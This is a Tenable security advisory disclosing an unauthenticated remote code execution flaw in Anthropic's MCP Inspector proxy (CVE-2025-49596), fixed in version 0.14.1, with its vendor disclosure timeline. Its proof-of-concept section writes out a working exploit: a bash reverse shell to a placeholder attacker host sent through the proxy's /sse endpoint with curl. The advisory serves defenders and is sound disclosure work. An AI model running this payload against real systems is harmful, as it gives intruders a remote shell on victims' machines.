Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

Anthropic MCP Inspector Remote Code Execution

Critical

Synopsis

Anthropic ModelContextProtocol (MCP) Inspector versions below 0.14.1 suffer from a lack of authentication and network restrictions on the MCP Inspector proxy used by the Web UI to interact with local or remote MCP servers. 

A remote and unauthenticated attacker can send crafted requests to the proxy server and achieve remote code execution on the target system running the MCP Inspector proxy. 

Proof-Of-Concept

The following code snippet demonstrates how the vulnerability could be exploited:

# Start a listener on TCP/7777
nc -l -p 7777

# Build a payload which will establish a simple reverse shell to our local IP on the previous port
PAYLOAD_BASH=“bash -c ‘bash -i >& /dev/tcp/ATTACKER_IP/7777 0>&1’”

# URI encode the payload
ENCODED_PAYLOAD_BASH=$(echo -n “$PAYLOAD_BASH” | jq -sRr @uri)

# Request the MCP Inspector Proxy with the previous payload to achieve Remote Code Execution
curl “http://MCP_INSPECTOR_PROXY:3000/sse?transportType=stdio&command=bash&args=-c%20%22$ENCODED_PAYLOAD_BASH%22”

 

Solution

Upgrade to version 0.14.1 or later.

Disclosure Timeline

March 6, 2025: Tenable requested vendor security contact because of conflicting policies with HackerOne.
March 6, 2025: Vendor replies by asking details about the conflicts.
March 7, 2025: Tenable provides more information about the policies conflict.
March 19, 2025: Tenable asks Anthropic's team for an update.
March 19, 2025: Anthropic replies asking to go through the HackerOne process for this disclosure.
March 20, 2025: Tenable asks Anthropic for an acknowledgement that the Tenable policy will be applied.
March 20, 2025: Anthropic adds information about their position and requests Tenable to disclose through the HackerOne process.
March 24, 2025: Tenable sends details about the policies conflicts.
March 25, 2025: Anthropic confirms the security contact to whom send the vulnerability details.
March 26, 2025: Tenable sends Anthropic details about the vulnerability.
March 26, 2025: Anthropic acknowledges the report.
April 17, 2025: Tenable requests for an update.
April 17, 2025: Anthropic confirms that report has been triaged and a fix is in progress.
May 16, 2025: Tenable requests for an update on the ETA.
May 21, 2025: Anthropic confirms that the fix is still in progress.
June 06, 2025: Tenable sends additional information to Anthropic about public resource available for the vulnerability and requests for an expected fix release date.
June 11, 2025: Tenable requests for an update and provides the expected advisory release date.
June 13, 2025: Anthropic confirms that the fix has been pushed.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

CVE ID: CVE-2025-49596
Tenable Advisory ID: TRA-2025-20
Credit:
Rémy Marot
CVSSv4 Base Score:
9.4
CVSSv4 Vector:
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Affected Products:
MCP Inspector < 0.14.1
Risk Factor:
Critical

Advisory Timeline

June 17, 2025 - Initial release.